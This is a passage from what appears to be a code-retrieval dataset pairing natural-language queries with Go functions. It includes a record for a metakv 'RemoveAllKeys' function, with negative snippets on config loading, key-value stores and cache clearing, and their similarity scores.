%s\", ErrCouldNotOpen, err)\n\t}\n\n\twrappedDB := &Database{\n\t\tDB: db,\n\t\tcloseCh: make(chan struct{}),\n\t}\n\tif parsedConfig.MetricUpdateFrequency > 0 {\n\t\tmetrics, err := newMetrics(namespace, reg)\n\t\tif err != nil {\n\t\t\t// Drop any close error to report the original error\n\t\t\t_ = db.Close()\n\t\t\treturn nil, err\n\t\t}\n\t\twrappedDB.metrics = metrics\n\t\twrappedDB.closeWg.Add(1)\n\t\tgo func() {\n\t\t\tt := time.NewTicker(parsedConfig.MetricUpdateFrequency)\n\t\t\tdefer func() {\n\t\t\t\tt.Stop()\n\t\t\t\twrappedDB.closeWg.Done()\n\t\t\t}()\n\n\t\t\tfor {\n\t\t\t\tif err := wrappedDB.updateMetrics(); err != nil {\n\t\t\t\t\tlog.Warn(\"failed to update leveldb metrics\",\n\t\t\t\t\t\tzap.Error(err),\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\t\tselect {\n\t\t\t\tcase <-t.C:\n\t\t\t\tcase <-wrappedDB.closeCh:\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\treturn wrappedDB, nil\n}", "func New[C db.Config](cfg C) db.Storage[C] {\n\treturn &MyStorage[C]{cfg: cfg}\n}", "func NewKVStore (locationDirectory string) types.KVStore {\r\n\tkvs := &Store {\r\n\t\tStorFileLocation : locationDirectory,\r\n\t}\r\n\r\n\treturn kvs\r\n}", "func New(name string, desc string, cfg interface{}) *Config {\n\treturn NewWithCommand(\n\t\t&cobra.Command{\n\t\t\tUse: name,\n\t\t\tLong: desc,\n\t\t\tRun: func(cmd *cobra.Command, args []string) {},\n\t\t}, cfg)\n}", "func NewKeeper(\n\tcdc *codec.Codec, key sdk.StoreKey, ck internal.CUKeeper, tk internal.TokenKeeper, proto func() exported.CUIBCAsset) Keeper {\n\treturn Keeper{\n\t\tkey: key,\n\t\tcdc: cdc,\n\t\tproto: proto,\n\t\tck: ck,\n\t\ttk: tk,\n\t}\n}", "func New(c context.Context) (config.Interface, error) {\n\tsettings, err := FetchCachedSettings(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif settings.ConfigServiceURL == \"\" {\n\t\treturn nil, ErrNotConfigured\n\t}\n\n\tc = client.UseServiceAccountTransport(c, nil, nil)\n\tcfg := remote.New(c, settings.ConfigServiceURL+\"/_ah/api/config/v1/\")\n\tif settings.CacheExpirationSec != 0 {\n\t\tf := NewCacheFilter(c, time.Duration(settings.CacheExpirationSec)*time.Second)\n\t\tcfg = f(c, cfg)\n\t}\n\treturn cfg, nil\n}", "func init() {\n\tif err := mb.Registry.AddMetricSet(\"consulkv\", \"kv\", New); err != nil {\n\t\tpanic(err)\n\t}\n}", "func NewKVItem(ctx *Context) (*KVItem, error) {\n\tkvItem := KVItem{context: ctx}\n\tret := C.tiledb_kv_item_alloc(kvItem.context.tiledbContext, &kvItem.tiledbKVItem)\n\tif ret != C.TILEDB_OK {\n\t\treturn nil, fmt.Errorf(\"Error creating tiledb kv: %s\", kvItem.context.LastError())\n\t}\n\n\t// Set finalizer for free C pointer on gc\n\truntime.SetFinalizer(&kvItem, func(kvItem *KVItem) {\n\t\tkvItem.Free()\n\t})\n\n\treturn &kvItem, nil\n}", "func NewFromFile(path string) (*ExecMeta, error) {\n\tdata, err := readFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := bytes.NewBuffer(data)\n\treturn NewFromReader(buf)\n}", "func newGetCfgCommand() *cobra.Command {\n\tcommand := &cobra.Command{\n\t\tUse: \"get\",\n\t\tShort: \"get config\",\n\t\tRunE: func(command *cobra.Command, _ []string) error {\n\t\t\tcomp, err := command.Flags().GetString(\"comp\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tstore, err := command.Flags().GetUint64(\"store\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// mock, err := command.Flags().GetBool(\"mock\")\n\t\t\t// if err != nil {\n\t\t\t// \treturn err\n\t\t\t// }\n\t\t\tconfig, err := defaultConfigClient.Get(comp, store)\n\t\t\tfmt.Println(config)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tcommand.Flags().StringP(\"comp\", \"c\", \"tikv\", \"update component config\")\n\tcommand.Flags().Uint64P(\"store\", \"s\", 1,\n\t\t\"update the given store ids value\")\n\treturn command\n}", "func NewKeyValueStore(fd *feed.API, ai *account.Info, user utils.Address, client blockstore.Client, logger logging.Logger) *KeyValue {\n\treturn &KeyValue{\n\t\tfd: fd,\n\t\tai: ai,\n\t\tuser: user,\n\t\tclient: client,\n\t\topenKVTables: make(map[string]*KVTable),\n\t\tlogger: logger,\n\t}\n}", "func (kvs *KVInitService) getKV() *KV {\n\tkv := kvs.kv.Load()\n\tif kv == nil {\n\t\treturn nil\n\t}\n\treturn kv.(*KV)\n}", "func (c *config) Meta() platform.Meta {\n\tnodes := c.ControllerCount\n\tfor _, workerpool := range c.WorkerPools {\n\t\tnodes += workerpool.Count\n\t}\n\n\tcharts := platform.CommonControlPlaneCharts(platform.ControlPlanCharts{\n\t\tKubelet: !c.DisableSelfHostedKubelet,\n\t\tNodeLocalDNS: c.EnableNodeLocalDNS,\n\t})\n\n\tcharts = append(charts, helm.LokomotiveChart{\n\t\tName: \"calico-host-protection\",\n\t\tNamespace: \"kube-system\",\n\t})\n\n\tcharts = append(charts, helm.LokomotiveChart{\n\t\tName: \"packet-ccm\",\n\t\tNamespace: \"kube-system\",\n\t})\n\n\treturn platform.Meta{\n\t\tAssetDir: c.AssetDir,\n\t\tExpectedNodes: nodes,\n\t\tControlplaneCharts: charts,\n\t\tDeployments: append(platform.CommonDeployments(c.ControllerCount), []platform.Workload{\n\t\t\t{\n\t\t\t\tName: \"calico-hostendpoint-controller\",\n\t\t\t\tNamespace: \"kube-system\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tName: \"packet-cloud-controller-manager\",\n\t\t\t\tNamespace: \"kube-system\",\n\t\t\t},\n\t\t}...),\n\t\tDaemonSets: platform.CommonDaemonSets(c.ControllerCount, c.DisableSelfHostedKubelet),\n\t\tControllerModuleName: fmt.Sprintf(\"%s-%s\", Name, c.ClusterName),\n\t}\n}", "func NewFromFile(filepath string, cfg *Config) error {\n\tvar cfgraw []byte\n\tvar err error\n\n\tcfgraw, err = ioutil.ReadFile(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = yaml.Unmarshal(cfgraw, &cfg); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func New() (Config, error) {\n\tpaths, err := getDefaultPaths()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, p := range paths {\n\t\tconf, err := FromFile(p)\n\t\tif err == nil {\n\t\t\treturn conf, nil\n\t\t}\n\t\t// Return an error if cloud.yaml is not well-formed; otherwise,\n\t\t// just continue to the next file.\n\t\tif parseErr, ok := err.(*ParseError); ok {\n\t\t\treturn nil, parseErr\n\t\t}\n\t}\n\treturn nil, errors.New(\"config: no usable clouds.yaml file found\")\n}", "func newConfigProviderFromFile(opts *Options) (*iniFileConfigProvider, error) {\n\tcfg := ini.Empty()\n\tnewFile := true\n\n\tif opts.CustomConf != \"\" {\n\t\tisFile, err := util.IsFile(opts.CustomConf)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to check if %s is a file. Error: %v\", opts.CustomConf, err)\n\t\t}\n\t\tif isFile {\n\t\t\tif err := cfg.Append(opts.CustomConf); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to load custom conf '%s': %v\", opts.CustomConf, err)\n\t\t\t}\n\t\t\tnewFile = false\n\t\t}\n\t}\n\n\tif newFile && !opts.AllowEmpty {\n\t\treturn nil, fmt.Errorf(\"unable to find configuration file: %q, please ensure you are running in the correct environment or set the correct configuration file with -c\", CustomConf)\n\t}\n\n\tif opts.ExtraConfig != \"\" {\n\t\tif err := cfg.Append([]byte(opts.ExtraConfig)); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to append more config: %v\", err)\n\t\t}\n\t}\n\n\tcfg.NameMapper = ini.SnackCase\n\treturn &iniFileConfigProvider{\n\t\topts: opts,\n\t\tFile: cfg,\n\t\tnewFile: newFile,\n\t}, nil\n}", "func newKubeadmConfigAction() Action {\n\treturn &kubeadmConfigAction{}\n}", "func NewCfg() *Cfg {\n\treturn &Cfg{\n\t\tNode: node.NewCfg(),\n\t}\n}" ]
[ "0.5658371", "0.5577373", "0.55192655", "0.54352075", "0.53246593", "0.52144855", "0.5183041", "0.51396626", "0.5085189", "0.5075144", "0.50271773", "0.502598", "0.5019509", "0.5000536", "0.49948964", "0.49942094", "0.4993093", "0.4987589", "0.49607748", "0.4948809", "0.49335274", "0.48817134", "0.4864393", "0.48389837", "0.48347914", "0.48296076", "0.48145258", "0.4809729", "0.48055753", "0.4793244", "0.47887647", "0.47866607", "0.47832194", "0.47785833", "0.47735438", "0.47617942", "0.47479793", "0.47444594", "0.47403306", "0.47395328", "0.4738509", "0.4734628", "0.4734021", "0.4729725", "0.47265765", "0.47232518", "0.47180003", "0.47065893", "0.46992552", "0.46982983", "0.46974704", "0.469594", "0.46890682", "0.46753398", "0.4673328", "0.46641892", "0.46518812", "0.46412843", "0.46300822", "0.46152058", "0.46128148", "0.46037787", "0.45984122", "0.45916387", "0.4582181", "0.45730364", "0.4573023", "0.45724675", "0.45541307", "0.45458156", "0.45447522", "0.45423177", "0.45339856", "0.4528139", "0.45268512", "0.45202228", "0.4516242", "0.45130587", "0.4511623", "0.45056558", "0.44967583", "0.448777", "0.4484555", "0.44833937", "0.44758072", "0.44700852", "0.44669753", "0.44617215", "0.44553006", "0.44531575", "0.4452598", "0.44499016", "0.44498968", "0.444825", "0.4448009", "0.44475093", "0.4437981", "0.4434998", "0.44348547", "0.4432562" ]
0.741039
0
RemoveAllKeys removes all cfg entries from metakv, where the caller should no longer use this CfgMetaKv instance, but instead create a new instance.
func (c *CfgMetaKv) RemoveAllKeys() { metakv.RecursiveDelete(c.prefix) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (ks *MemoryStore) RemoveAll() (err error) {\n\n\tfor key := range ks.Keys {\n\t\tdelete(ks.Keys, key)\n\t}\n\n\treturn\n}", "func (m *MultiMap) RemoveAll(key interface{}) {\n\tdelete(m.m, key)\n}", "func (v values) RemoveAll() {\n\tfor key := range v {\n\t\tdelete(v, key)\n\t}\n}", "func (t *Map) DeleteAll(keys []interface{}) *Map {\n\tfor _, k := range keys {\n\t\tt.Delete(k)\n\t}\n\treturn t\n}", "func (k *MutableKey) Clear() {\n\tfor v := range k.vals {\n\t\tdelete(k.vals, v)\n\t\tk.synced = false\n\t}\n}", "func deleteAllKeys() error {\n\tetcd, err := newEtcdClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer etcd.Cli.Close()\n\n\tetcd.Kv.Delete(etcd.Ctx, \"\", clientv3.WithPrefix())\n\treturn nil\n}", "func (k *Keys) Clean() {\n\tif k != nil {\n\t\tif k.Admin != nil {\n\t\t\tk.Admin.Clean()\n\t\t\tk.Admin = nil\n\t\t}\n\t\tif k.Server != nil {\n\t\t\tk.Server.Clean()\n\t\t\tk.Server = nil\n\t\t}\n\t\tk.Nonce = nil\n\t}\n}", "func removeKeys(keys ...string) func([]string, slog.Attr) slog.Attr {\n\treturn func(_ []string, a slog.Attr) slog.Attr {\n\t\tfor _, k := range keys {\n\t\t\tif a.Key == k {\n\t\t\t\treturn slog.Attr{}\n\t\t\t}\n\t\t}\n\t\treturn a\n\t}\n}", "func (be *s3) removeKeys(t backend.Type) error {\n\tdone := make(chan struct{})\n\tdefer close(done)\n\tfor key := range be.List(backend.Data, done) {\n\t\terr := be.Remove(backend.Data, key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func (c *Configmap) Delete(keys ...string) {\n\tmapSI := map[string]interface{}(*c)\n\tfor _, key := range keys {\n\t\tdelete(mapSI, key)\n\t}\n}", "func (c DirCollector) Clear() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}", "func (ms *MemStore) RemoveAll(keys ...string) {\n\tms.mu.Lock()\n\tfor _, key := range keys {\n\t\tdelete(ms.data, key)\n\t}\n\tms.mu.Unlock()\n}", "func (c Collector) Clear() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}", "func (o *KeyValueOrdered) Clear() {\n\tfor k := range o.m {\n\t\tdelete(o.m, k)\n\t}\n\to.s = o.s[:0]\n}", "func (c FileCollector) Clear() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}", "func (w *Widget) ClearMappings(app gowid.IApp) {\n\tfor k := range w.kmap {\n\t\tdelete(w.kmap, k)\n\t}\n}", "func (mm *Model) RemoveAll(selector interface{}, keys ...string) (*mgo.ChangeInfo, error) {\n\treturn mm.change(func(c CachedCollection) (*mgo.ChangeInfo, error) {\n\t\treturn c.RemoveAll(selector, keys...)\n\t})\n}", "func (g *Group) Clear() {\n\tg.mu.Lock()\n\tdefer g.mu.Unlock()\n\n\tg.dict = make(map[string]Entry)\n\tg.tmpls = nil\n}", "func (k *MutableKey) Discard() {\n\tfor v := range k.vals {\n\t\tdelete(k.vals, v)\n\t}\n\tdelete(k.MutableMap.mutkeys, k.key)\n\tk.MutableMap = nil\n\tk.vals = nil\n}", "func (c DeferDirCollector) Clear() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}", "func (c *SyncCollector) Clear() {\n\tfor k := range c.c {\n\t\tc.rw.Lock()\n\t\tdelete(c.c, k)\n\t\tc.rw.Unlock()\n\t}\n}", "func allKeys(k *koanf.Koanf) map[string]interface{} {\n\tall := k.All()\n\n\tfor key := range all {\n\t\tif isMap, mapKey := isMapKey(key); isMap {\n\t\t\tdelete(all, key)\n\n\t\t\tall[mapKey] = k.Get(mapKey)\n\t\t}\n\t}\n\n\treturn all\n}", "func (manager *KeysManager) Clear() {\n\tmanager.KeyList = make([]*jose.JSONWebKey, 0)\n\tmanager.KeyMap = make(map[string]*jose.JSONWebKey)\n}", "func clearMap(store map[string]interface{}) {\n\tfor k := range store {\n\t\tdelete(store, k)\n\t}\n}", "func (this *MyHashMap) Remove(key int) {\r\n\tk := this.hashFunc(key)\r\n\r\n\tfor i, v := range this.Keys[k] {\r\n\t\tif key == v {\r\n\t\t\tif i == 0 {\r\n\t\t\t\tthis.Keys[k] = this.Keys[k][1:]\r\n\t\t\t\tthis.Vals[k] = this.Vals[k][1:]\r\n\t\t\t} else if i == len(this.Keys[k])-1 {\r\n\t\t\t\tthis.Keys[k] = this.Keys[k][:len(this.Keys[k])-1]\r\n\t\t\t\tthis.Vals[k] = this.Vals[k][:len(this.Vals[k])-1]\r\n\t\t\t} else {\r\n\t\t\t\tthis.Keys[k] = append(this.Keys[k][:i], this.Keys[k][i+1:]...)\r\n\t\t\t\tthis.Vals[k] = append(this.Vals[k][:i], this.Vals[k][i+1:]...)\r\n\t\t\t}\r\n\t\t\treturn\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "func (ms *MemStore) CleanupSessionKeys(t uint64) error {\n\tvar oldKeys []string\n\tfor hash, sk := range ms.sessionKeys {\n\t\tif sk.cleanupTime < t {\n\t\t\toldKeys = append(oldKeys, hash)\n\t\t}\n\t}\n\tfor _, hash := range oldKeys {\n\t\tdelete(ms.sessionKeys, hash)\n\t}\n\treturn nil\n}", "func (m XmlToMap) Del(key string) {\n\tdelete(m, key)\n}", "func (c *ttlCache) purge() {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\tfor key, value := range c.entries {\n\t\tif value.expireTime.Before(time.Now()) {\n\t\t\tdelete(c.entries, key)\n\t\t}\n\t}\n\n}", "func TestHashMapDel(t *T) {\n\n\tkvs := []*KV{\n\t\tKeyVal(1, \"one\"),\n\t\tKeyVal(2, \"two\"),\n\t\tKeyVal(3, \"three\"),\n\t}\n\tkvs1 := []*KV{\n\t\tKeyVal(2, \"two\"),\n\t\tKeyVal(3, \"three\"),\n\t}\n\n\t// Degenerate case\n\tm := NewHashMap()\n\tm1, ok := m.Del(1)\n\tassert.Equal(t, 0, Size(m))\n\tassert.Equal(t, 0, Size(m1))\n\tassert.Equal(t, false, ok)\n\n\t// Delete actual key\n\tm = NewHashMap(kvs...)\n\tm1, ok = m.Del(1)\n\tassertSeqContentsHashMap(t, kvs, m)\n\tassertSeqContentsHashMap(t, kvs1, m1)\n\tassert.Equal(t, true, ok)\n\n\t// Delete it again!\n\tm2, ok := m1.Del(1)\n\tassertSeqContentsHashMap(t, kvs1, m1)\n\tassertSeqContentsHashMap(t, kvs1, m2)\n\tassert.Equal(t, false, ok)\n\n}", "func (b *BootstrapClient) UnmountAll() *BootstrapClient {\n\t//ignore error as this may fail if there is no old configuration\n\tb.usingVaultRootToken(func() error {\n\t\t// Remove all old configuration, these may fail if there aren't old configurations to remove\n\t\tb.DisableAuth()\n\t\tb.unmountPostgres()\n\t\tb.unmountMongo()\n\t\tb.unmountTLSCert()\n\t\tb.unmountAWS()\n\t\tb.unmountGeneric()\n\t\tb.unmountTransit()\n\t\treturn nil\n\t})\n\treturn b\n}", "func (diffStore *utxoDiffStore) clearOldEntries() {\n\tdiffStore.mtx.HighPriorityWriteLock()\n\tdefer diffStore.mtx.HighPriorityWriteUnlock()\n\n\tvirtualBlueScore := diffStore.dag.VirtualBlueScore()\n\tminBlueScore := virtualBlueScore - maxBlueScoreDifferenceToKeepLoaded\n\tif maxBlueScoreDifferenceToKeepLoaded > virtualBlueScore {\n\t\tminBlueScore = 0\n\t}\n\n\ttips := diffStore.dag.virtual.tips()\n\n\ttoRemove := make(map[*blockNode]struct{})\n\tfor node := range diffStore.loaded {\n\t\tif node.blueScore < minBlueScore && !tips.contains(node) {\n\t\t\ttoRemove[node] = struct{}{}\n\t\t}\n\t}\n\tfor node := range toRemove {\n\t\tdelete(diffStore.loaded, node)\n\t}\n}", "func RemoveMapFields(config, live map[string]interface{}) map[string]interface{} {\n\tresult := map[string]interface{}{}\n\tfor k, v1 := range config {\n\t\tv2, ok := live[k]\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tif v2 != nil {\n\t\t\tv2 = removeFields(v1, v2)\n\t\t}\n\t\tresult[k] = v2\n\t}\n\treturn result\n}", "func (m BoolMemConcurrentMap) Clear() {\n\tfor item := range m.IterBuffered() {\n\t\tm.Remove(item.Key)\n\t}\n}", "func (rmc *RMakeConf) Clean() {\n\tfor _, v := range rmc.Files {\n\t\tv.LastTime = time.Now().AddDate(-20, 0, 0)\n\t}\n\trmc.Session = \"\"\n}", "func (cc CollectionCache) DeleteAll() {\n\tcollectionCache.Range(func(key interface{}, value interface{}) bool {\n\t\tcc.removeByKey(key)\n\t\treturn true\n\t})\n}", "func (v *vncPlayer) Clear() {\n\tv.Lock()\n\tdefer v.Unlock()\n\n\tfor k, p := range v.m {\n\t\tlog.Debug(\"stopping kb playback for %v\", k)\n\t\tif err := p.Stop(); err != nil {\n\t\t\tlog.Error(\"%v\", err)\n\t\t}\n\n\t\tdelete(v.m, k)\n\t}\n}", "func (ledger *Ledger) DeleteALLStateKeysAndValues() error {\n\terr := ledger.chaincodeState.DeleteState()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn ledger.txSetState.DeleteState()\n}", "func (m *beingWatchedBuildEventChannelMap) Clean(conditionFunc func(k string, v time.Time) bool) {\n\tclone := m.clone()\n\tvar toClean []string\n\tfor k, v := range clone {\n\t\tdo := conditionFunc(k, v)\n\t\tif do {\n\t\t\ttoClean = append(toClean, k)\n\t\t}\n\t}\n\n\tfor _, k := range toClean {\n\t\tm.delete(k)\n\t}\n}", "func (g *Generator) ClearConfigVolumes() {\n\tg.image.Config.Volumes = map[string]struct{}{}\n}", "func (r *Restrictions) ClearUnsupportedKeys() {\n\tfor i, rr := range *r {\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyNotBefore) {\n\t\t\trr.NotBefore = 0\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyExpiresAt) {\n\t\t\trr.ExpiresAt = 0\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyScope) {\n\t\t\trr.Scope = \"\"\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyAudiences) {\n\t\t\trr.Audiences = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyIPs) {\n\t\t\trr.IPs = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyGeoIPAllow) {\n\t\t\trr.GeoIPAllow = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyGeoIPDisallow) {\n\t\t\trr.GeoIPDisallow = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyUsagesAT) {\n\t\t\trr.UsagesAT = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyUsagesOther) {\n\t\t\trr.UsagesOther = nil\n\t\t}\n\t\t(*r)[i] = rr\n\t}\n}", "func (that *StrAnyMap) Removes(keys []string) {\n\tthat.mu.Lock()\n\tif that.data != nil {\n\t\tfor _, key := range keys {\n\t\t\tdelete(that.data, key)\n\t\t}\n\t}\n\tthat.mu.Unlock()\n}", "func (ls *KvPairs) Del(key string) {\n\n\tkvp_mu.Lock()\n\tdefer kvp_mu.Unlock()\n\n\tfor i, prev := range *ls {\n\n\t\tif prev.Key == key {\n\t\t\t*ls = append((*ls)[:i], (*ls)[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n}", "func (m Map) Remove(keys ...string) Map {\n\tfor _, key := range keys {\n\t\tdelete(m, key)\n\t}\n\treturn m\n}", "func (g *Group) DeleteAll() {\n\tg.Equivalents = list.New()\n\tg.Fingerprints = make(map[string]*list.Element)\n\tg.FirstExpr = make(map[Operand]*list.Element)\n\tg.SelfFingerprint = \"\"\n}", "func (kv *keyValue) Wipe() error {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\t_, err := kv.db.RemoveAll(nil)\n\treturn err\n}", "func Removes(keys []interface{}) {\n\tdefaultCache.Removes(keys)\n}", "func (a *LocalKeyAgent) UnloadKeys() error {\n\tagents := []agent.Agent{a.Agent}\n\tif a.sshAgent != nil {\n\t\tagents = append(agents, a.sshAgent)\n\t}\n\n\t// iterate over all agents we have\n\tfor _, agent := range agents {\n\t\t// get a list of all keys in the agent\n\t\tkeyList, err := agent.List()\n\t\tif err != nil {\n\t\t\ta.log.Warnf(\"Unable to communicate with agent and list keys: %v\", err)\n\t\t}\n\n\t\t// remove any teleport keys we currently have loaded in the agent\n\t\tfor _, key := range keyList {\n\t\t\tif strings.HasPrefix(key.Comment, \"teleport:\") {\n\t\t\t\terr = agent.Remove(key)\n\t\t\t\tif err != nil {\n\t\t\t\t\ta.log.Warnf(\"Unable to communicate with agent and remove key: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (k *MutableKey) RemoveSet(vals map[uint64]struct{}) {\n\tfor val := range vals {\n\t\tdelete(k.vals, val)\n\t\tk.synced = false\n\t}\n}", "func removeHelperAttributes(c *Config) *Config {\n\tif c.TLSConfig != nil {\n\t\tc.TLSConfig.KeyLoader = nil\n\t}\n\treturn c\n}", "func (m *OrderedMap[K,V]) Clear() {\n\tm.list.Clear()\n\tfor k := range m.mp {\n\t\tdelete(m.mp, k)\n\t}\n}", "func (c *C) Clear() {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\n\t// Clear the map.\n\tfor sql, e := range c.mu.m {\n\n\t\tc.mu.availableMem += e.memoryEstimate()\n\t\tdelete(c.mu.m, sql)\n\t\te.remove()\n\t\te.clear()\n\t\te.insertAfter(&c.mu.free)\n\t}\n}", "func (tc *testContext) clearWindowsInstanceConfigMap() error {\n\tcm, err := tc.client.K8s.CoreV1().ConfigMaps(tc.namespace).Get(context.TODO(), wiparser.InstanceConfigMap,\n\t\tmeta.GetOptions{})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error retrieving windows-instances ConfigMap\")\n\t}\n\tcm.Data = map[string]string{}\n\t_, err = tc.client.K8s.CoreV1().ConfigMaps(tc.namespace).Update(context.TODO(), cm, meta.UpdateOptions{})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error clearing windows-instances ConfigMap data\")\n\t}\n\treturn nil\n}", "func (opts *ListOpts) Delete(key string) {\n for i, k := range *opts.values {\n if k == key {\n (*opts.values) = append((*opts.values)[:i], (*opts.values)[i+1:]...)\n return\n }\n }\n}", "func UnmountAll() error {\n\tDebug(\"UnmountAll: %d devices need to be unmounted\", len(mountCache.m))\n\tfor key, mountCacheData := range mountCache.m {\n\t\tcachedMountPath := mountCacheData.mountPath\n\t\tDebug(\"UnmountAll: Unmounting %s\", cachedMountPath)\n\t\tif err := mount.Unmount(cachedMountPath, true, false); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmount '%s': %w\", cachedMountPath, err)\n\t\t}\n\t\tDebug(\"UnmountAll: Unmounted %s\", cachedMountPath)\n\t\tdeleteEntryMountCache(key)\n\t\tDebug(\"UnmountAll: Deleted key %s from cache\", key)\n\t}\n\n\treturn nil\n}", "func (c *Config) Clear() {\n\tc.jsonMap.Clear()\n}", "func (session *Session) DestroyAllKeys() error {\n\tif session == nil || session.Ctx == nil {\n\t\treturn fmt.Errorf(\"session not initialized\")\n\t}\n\tdeleteTemplate := []*pkcs11.Attribute{\n\t\t//NewAttribute(CKA_KEY_TYPE, CKK_RSA),\n\t\tpkcs11.NewAttribute(pkcs11.CKA_LABEL, session.Label),\n\t}\n\tobjects, err := session.FindObject(deleteTemplate)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(objects) > 0 {\n\t\tsession.Log.Printf(\"Keys found. Deleting...\\n\")\n\t\tfoundDeleteTemplate := []*pkcs11.Attribute{\n\t\t\tpkcs11.NewAttribute(pkcs11.CKA_LABEL, nil),\n\t\t\tpkcs11.NewAttribute(pkcs11.CKA_ID, nil),\n\t\t\tpkcs11.NewAttribute(pkcs11.CKA_CLASS, nil),\n\t\t}\n\n\t\tfor _, object := range objects {\n\t\t\tattr, _ := session.Ctx.GetAttributeValue(session.Handle, object, foundDeleteTemplate)\n\t\t\tclass := \"unknown\"\n\t\t\tif uint(attr[2].Value[0]) == pkcs11.CKO_PUBLIC_KEY {\n\t\t\t\tclass = \"public\"\n\t\t\t} else if uint(attr[2].Value[0]) == pkcs11.CKO_PRIVATE_KEY {\n\t\t\t\tclass = \"private\"\n\t\t\t}\n\t\t\tsession.Log.Printf(\"Deleting key with label=%s, id=%s and type=%s\\n\", string(attr[0].Value), string(attr[1].Value), class)\n\n\t\t\tif e := session.Ctx.DestroyObject(session.Handle, object); e != nil {\n\t\t\t\tsession.Log.Printf(\"Destroy Key failed %s\\n\", e)\n\t\t\t}\n\t\t}\n\t} else {\n\t\treturn fmt.Errorf(\"no keys found\")\n\t}\n\treturn nil\n}", "func (v CMap) Del(key string) CMap {\n\tdelete(v, key)\n\treturn v\n}", "func RemoveAllPairs() error {\n\t_, cmdErr := RunGitConfigCmd(\"--unset-all\", \"\")\n\treturn cmdErr\n}", "func (com *Com) RemoveAll(appid gocql.UUID) (err error) {\n\tif err = com.tre.session.Query(`DELETE FROM commands WHERE app_id= ?`,\n\t\tappid).Exec(); err != nil {\n\t\tfmt.Printf(\"Remove All Commands Error: %s\\n\", err.Error())\n\t}\n\treturn\n}", "func (u *UdMap) Del(key string) { delete(u.Data, key) }", "func testMapUnsetN(n int, m map[Key]interface{}) {\n\tfor i := 0; i < n; i++ {\n\t\tdelete(m, Key(i))\n\t}\n}", "func (bc *MemoryCache) clearItems(keys []string) {\n\tbc.Lock()\n\tdefer bc.Unlock()\n\tfor _, key := range keys {\n\t\tdelete(bc.items, key)\n\t}\n}", "func processConfigMapDelete(cc *configController, configMap *v1.ConfigMap) error {\n\tlogrus.Infof(\"Processing Delete configmap %s/%s\", configMap.ObjectMeta.Namespace, configMap.ObjectMeta.Name)\n\t// Drop all info from removed config map\n\tcc.vfs.vfs = map[string]*VF{}\n\tcc.configCh <- configMessage{op: operationDeleteAll, pciAddr: \"\", vf: VF{}}\n\n\treturn nil\n}", "func (a *LocalKeyAgent) DeleteKeys() error {\n\t// Remove keys from the filesystem.\n\terr := a.keyStore.DeleteKeys()\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\n\t// Remove all keys from the Teleport and system agents.\n\terr = a.UnloadKeys()\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\n\treturn nil\n}", "func (m *MongoStore) RemoveAll(coll string, key Key) error {\n\tif !m.validateParams(coll, key) {\n\t\treturn pkgerrors.New(\"Mandatory fields are missing\")\n\t}\n\tc := getCollection(coll, m)\n\tctx := context.Background()\n\tfilter, err := m.findFilterWithKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = c.DeleteMany(ctx, filter)\n\tif err != nil {\n\t\treturn pkgerrors.Errorf(\"Error Deleting from database: %s\", err.Error())\n\t}\n\treturn nil\n}", "func (c *Cache) deleteItems(keys []string) {\n\tc.Lock()\n\tdefer c.Unlock()\n\n\tfor _, k := range keys {\n\t\tif _, found := c.items[k]; found {\n\t\t\tdelete(c.items, k)\n\t\t}\n\t}\n}", "func (fe *FileEncryptionProperties) WipeOutEncryptionKeys() {\n\tfe.footerKey = \"\"\n\tfor _, elem := range fe.encryptedCols 